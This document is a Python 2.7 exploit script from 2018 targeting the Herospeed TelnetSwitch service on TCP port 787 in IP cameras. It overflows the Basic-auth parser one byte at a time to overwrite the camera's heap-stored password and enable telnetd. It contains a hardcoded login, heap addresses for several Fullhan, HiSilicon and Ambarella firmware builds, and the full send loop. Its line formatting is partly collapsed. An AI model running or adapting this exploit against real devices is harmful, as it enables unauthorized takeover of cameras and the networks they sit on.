#!/usr/bin/env python2.7## Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.## [Verified]# 1) Fullhan IPC FH8830_F22_W_7.1.42.1# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4## Author: bashis <mcw noemail eu>, 2018#import socket
import select
import sys
import argparse
import base64
import struct
import time
## Validate correctness of HOST, IP and PORT#classValidate:def__init__(self,verbose):
self.verbose = verbose
# Check if IP is validdefCheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')iflen(ip)!=4:returnFalsefor tmp in ip:ifnot tmp.isdigit():returnFalse
i =int(tmp)if i <0or i >255:returnFalsereturnTrue# Check if PORT is validdefPort(self,PORT):
self.PORT = PORT
ifint(self.PORT)<1orint(self.PORT)>65535:returnFalseelse:returnTrue# Check if HOST is validdefHost(self,HOST):
self.HOST = HOST
try:# Check valid IP
socket.inet_aton(self.HOST)# Will generate exeption if we try with DNS or invalid IP# Now we check if it is correct typed IPif self.CheckIP(self.HOST):return self.HOST
else:returnFalseexcept socket.error as e:# Else check valid DNS name, and use the IP addresstry:
self.HOST = socket.gethostbyname(self.HOST)return self.HOST
except socket.error as e:returnFalseif __name__ =="__main__":
INFO ='\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
rhost ='192.168.57.20'# Default Remote HOST
rport =787# Default Remote PORT
BUFFER_SIZE =1024try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=True,help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False,help='Remote Target HTTP/HTTPS Port [Default: '+str(rport)+']')
args = arg_parser.parse_args()except Exception as e:print INFO,"\nError: {}\n".format(str(e))
sys.exit(1)print INFO
if args.rport:
rport =int(args.rport)if args.rhost:
rhost = args.rhost
IP = args.rhost
# Check if RPORT is validifnot Validate(True).Port(rport):print"[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(True).Host(rhost)ifnot rhost:print"[!] Invalid RHOST"
sys.exit(1)
timeout =5
socket.setdefaulttimeout(timeout)## [Payload]#
LOGIN ="Lucky787"# Hardcoded login## Fullhan IPC FH8830_F22_W_7.1.42.1# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5#
PASSWD ="\n\n\n\n\n\n\n\n\n\n\n\n"# Our new password, must be exactly 12 char, and must be '\n'
MESSAGE =''+ LOGIN +':'+ PASSWD +''
BASE64_NULL ="A"*232# Decoded as 0x00 with base64 decode
HEAP_PWD =0x00016c8c# Start of the dynamicly generated password, located on heap## HiSilicon 3518EV200_OV9732_W_7.1.25.1## PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'# MESSAGE =''+ LOGIN + ':' + PASSWD +''# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode# HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap## HiSilicon 3519V100_IMX274_W_7.1.39.3## PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'# MESSAGE =''+ LOGIN + ':' + PASSWD +''# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode# HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap## Ambarella s2l55m_imx123_W_7.1.25.2## PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'# MESSAGE =''+ LOGIN + ':' + PASSWD +''# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode# HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap## Ambarella S2E66_IMX178_W_7.1.3.4## PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'# MESSAGE =''+ LOGIN + ':' + PASSWD +''# BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode# HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
MESSAGE = base64.b64encode(bytes(MESSAGE))
MESSAGE += BASE64_NULL
## Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)#for where inrange(0,len(PASSWD)):
OUT ="GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])print"Writing to: {}".format(hex(HEAP_PWD))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.send(OUT)
time.sleep(0.5)
response = s.recv(BUFFER_SIZE).split()
HEAP_PWD +=0x1# Next address on heapif response[1]:if response[1]=="200":print"({}) OK, telnetd should be open!".format(response[1])break